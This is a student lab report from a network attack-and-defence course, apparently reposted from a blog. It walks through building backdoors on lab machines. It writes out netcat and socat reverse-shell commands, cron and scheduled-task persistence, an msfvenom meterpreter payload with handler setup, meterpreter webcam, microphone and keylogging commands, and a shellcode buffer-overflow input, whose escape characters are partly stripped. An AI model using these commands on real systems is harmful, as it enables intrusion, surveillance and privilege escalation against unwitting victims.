zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175326李一潇《网络对抗技术》 Exp2 PC平台逆向破解

    2019-2020-2 20175326李一潇《网络对抗技术》 Exp2 后门原理与实践

    一、实验内容

    • 使用netcat获取主机操作Shell,cron启动;
    • 使用socat获取主机操作Shell, 任务计划启动;
    • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
    • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
    • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    二、实验原理

    • ncat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    • 后门:就是不经过正常认证流程而访问系统的通道。
    • 哪里有后门:
      编译器留后门
      操作系统留后门
      应用程序中留后门
      潜伏于操作系统中或伪装为特定应用的专用后门程序

    三、实验步骤

    1.使用netcat获取主机操作Shell,cron启动;

    • windows获取linux Shell
      查看Windows的IP地址,该Windows的IP为192.168.1.106

    关闭Windows防火墙

    Windows使用ncat.exe -l -p 5326打开监听(ncat在码云下载)

    linux使用nc 192.168.1.106 5326 -e /bin/sh反弹连接windows,此时windows下获得一个linux shell,可运行任何指令,如ls

    • Linux获得Windows Shell
      linux使用ifconfig查看IP地址,得知Linux的IP为192.168.44.128(因为下载的kali不能直接ifconfig,通过输入export PATH=$PATH:/sbin来获取命令权限,参考)

    linux使用nc -l -p 5326打开监听,windows使用ncat.exe -e cmd.exe 192.168.44.128 5326反弹连接Linux,就可以在Linux下看到windows的命令了

    • cron启动
      linux使用crontab -e进入编辑模式(他们说选择第三个编辑器,但是选择其他编辑器仍然可以正常使用),在最后一行添加02 * * * * /bin/netcat 192.168.1.106 5326 -e /bin/sh,表示每个小时的第02分钟执行后面的那条指令

    linux在02时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

    • nc传输数据
      windows使用ncat.exe -l 5326监听端口,linux使用nc 192.168.1.106 5326反弹连接到windows的端口,连接建立成功后双方可互传输数据

    2.使用socat获取主机操作Shell, 任务计划启动

    windows打开计算机管理,在任务计划程序中创建任务

    新建触发器,选择时间

    新建操作,并在程序或脚本中选择socat.exe(同样在码云下载),添加参数一栏填写tcp-listen:5326 exec:cmd.exe,pty,stderr

    到达时间后会自行触发

    linux使用socat - tcp:192.168.1.106:5326完成连接,获得windows shell

    3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=5326 -f exe > 20175326_backdoor.exe生成后门程序

    windows使用ncat.exe -lv 5326 > 20175326_Cbackdoor.exe,查看连接状态

    linux使用nc 192.168.1.106 5334 < 20175326_backdoor5326.exe传输后门程序,传输成功后windows会给出提示

    linux使用msfconsole进入msf控制台

    输入以下命令

    use exploit/multi/handler //使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
    set LHOST 192.168.186.113 //此处为linux的IP地址
    set LPORT 5334 //使用相同的端口
    show options //查看设置
    

    linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell

    4.使用MSF meterpreter(或其他软件)生成可执行文件,生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 音频:linux使用record_mic可以截取一段音频
    • 摄像头:linux使用webcam_snap可以获取摄像头内容
    • 键盘:linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录
    • 截屏:linux使用screenshot可以进行截屏
    • 用户:linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作

    5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

    Exploit DataBase中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码

    x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
    

    通过gdb调试找到shellcode的返回地址0xffffd2ec,计算出shellcode地址就是0xffffd2ec+4,即0xffffd305

    使用以下命令生成input_shellcode 文件并将机器码注入其中
    perl -e 'print "A" x 32;print"xd0xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    在新终端中启动msfconsole,执行和任务3中同样的指令打开监听

    use exploit/multi/handler //设置payload
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1 //设置ip
    set LPORT 4444 //设置端口
    show options //查看选项
    exploit //设置完成,开始监听
    

    在另一个终端修改input_shellcode并使用cat input_shellcode;cat) | ./pwn1运行pwn1文件,在第一个终端中可以看到已经成功调取了shell

    四、实验心得

    本次实验是网络攻防的第二次实验,我们学习了关于后门的有关知识,如何找到后门,利用后门,认识到网络安全的重要性,我们在以后的生活和学习中要注意保护自己的网络空间安全,一定要开启防火墙,安装杀毒软件。在本次实验中,虽然不是很困难,但是遇到了很多意想不到的困难,kali无法进行ifconfig,产生的文件在Windows被拦截,配置ip地址的时候出现错误。这些问题都是一些小细节,在查阅资料和咨询同学后,逐渐得到解决。

    五、思考题

    • 你能想到的一个后门进入到你系统中的可能方式?
      通过植入不正规软件,进入后门
    • 你知道的后门如何启动起来(win及linux)的方式?
      通过修改cron定时启动,木马自启动
    • Meterpreter有哪些给你映像深刻的功能?
      可以控制电脑的摄像头,录音,键盘操作
    • 如何发现自己有系统有没有被安装后门?
      通过杀毒软件进行收索查杀,也可以自己查看一下电脑的进程、端口、注册表
  • 相关阅读:
    【BZOJ5302】[HAOI2018]奇怪的背包(动态规划,容斥原理)
    【BZOJ5303】[HAOI2018]反色游戏(Tarjan,线性基)
    【BZOJ5304】[HAOI2018]字串覆盖(后缀数组,主席树,倍增)
    【BZOJ5305】[HAOI2018]苹果树(组合计数)
    【BZOJ5300】[CQOI2018]九连环 (高精度,FFT)
    【BZOJ5292】[BJOI2018]治疗之雨(高斯消元)
    【BZOJ5298】[CQOI2018]交错序列(动态规划,矩阵快速幂)
    【BZOJ5289】[HNOI2018]排列(贪心)
    Codeforces Round #539 Div1 题解
    【BZOJ5288】[HNOI2018]游戏(拓扑排序)
  • 原文地址:https://www.cnblogs.com/lyx-hhhhh/p/12523033.html
Copyright © 2011-2022 走看看